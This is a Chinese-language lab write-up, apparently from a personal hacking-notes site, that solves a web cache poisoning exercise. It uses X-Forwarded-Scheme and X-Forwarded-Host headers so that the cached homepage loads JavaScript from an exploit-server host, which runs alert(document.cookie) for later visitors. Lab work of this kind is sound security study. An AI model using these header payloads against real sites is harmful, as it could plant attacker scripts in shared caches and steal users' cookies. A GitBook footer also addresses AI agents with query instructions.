> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).
# 使用多个请求头进行缓存投毒
### 通过多个请求头实施 Web 缓存投毒
本实验演示了一个仅通过组合多个 HTTP 请求头即可使可利用的 Web 缓存中毒的漏洞。 / 用户大约每分钟访问一次主页。 / 目标是毒化缓存，使受害者浏览器中的响应触发 `alert(document.cookie)`.
**初步分析**
* 拦截对站点根路径（`/`).
* 该响应似乎已被缓存，并会被后续访问者复用。
**发现的可利用请求头**
* 使用扩展 **Param Miner** 以猜测未被编入索引的请求头。
* 该工具检测到请求头 **`X-Forwarded-Scheme`**.
**`X-Forwarded-Scheme` 测试**
* 此请求头指示该请求是否被视为来自 HTTP 或 HTTPS。
* 发送：
```http
X-Forwarded-Scheme: http
```
* 该站点试图表现得像是通过 HTTP 提供服务。
这会导致功能异常，并且由于重定向错误，资源不再能正确加载。
**添加第二个请求头： `X-Forwarded-Host`**
```http
X-Forwarded-Host: test.com
```
* 然后该站点会尝试从这个位置加载其资源。
JavaScript 文件的加载包含：
加载页面时，该脚本会自动执行。
**使用 Exploit Server 进行操作**
* 目标是强制从 Exploit Server 加载 JavaScript 文件。
```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```
在 exploit 服务器上：
* 创建一个可通过以下 URL 访问的文件：
文件内容：
```javascript
alert(document.cookie)
```
**结果**
* 主页现在会从 Exploit Server 加载 JavaScript 脚本。
* 被投毒的响应被隐藏了。
* 当用户访问页面时，该脚本会自动运行。
* 显示以下内容的警报 `document.cookie` 会出现在受害者的浏览器中。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.